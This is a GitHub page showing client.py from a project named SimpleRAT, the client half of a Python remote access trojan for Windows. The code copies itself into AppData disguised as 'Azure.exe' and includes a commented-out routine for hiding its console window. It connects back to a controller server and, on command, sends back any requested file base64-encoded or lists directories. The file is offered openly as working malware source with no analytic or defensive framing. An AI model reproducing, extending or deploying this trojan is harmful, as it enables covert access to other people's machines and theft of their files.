-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathclient.py
More file actions
58 lines (53 loc) · 1.69 KB
/
Copy pathclient.py
File metadata and controls
58 lines (53 loc) · 1.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding: utf-8 -*-
# @Author : Alysif
# @Github : https://github.com/alysif/SimpleRAT
import socket
import os
import base64
import threading
import shutil
import sys
import win32gui, win32con
def CopyToAnotherSite(): # To copy this client to another site [Compile firt to a Exe with pyinstaller o py2exe]
pathToCopy = os.environ('appdata') + "\\Azure.exe"
if not os.path.isfile(pathToCopy):
shutil.copyfile(sys.executable, pathToCopy)
"""
def HideConsole():
hide = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hide, win32con.SW_HIDE)
"""
def Main(host, port):
global client
#HideConsole()
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port)) #
commandThread = threading.Thread(target=ThreadCommands, args=());
commandThread.start()
def ThreadCommands():
global client
while True:
# Data
data = client.recv(1024).decode()
if(not data): break
# Commands
if(data.startswith("file")):
with open(data.split(' ')[1], 'rb') as file:
sendFile = file.read()
client.send(base64.b64encode(sendFile))
file.close()
print("File send")
elif(data.startswith("listdir")):
list_dir = os.listdir(os.getcwd())
directory = ""
for dir in list_dir:
directory += dir+"\n"
client.send(directory.encode())
elif(data.startswith("exit")):
client.close()
break
else:
client.send("Ok".encode())
if __name__ == "__main__":
Main("localhost", 9999) # Change parameters for your server connection
print(sys.executable)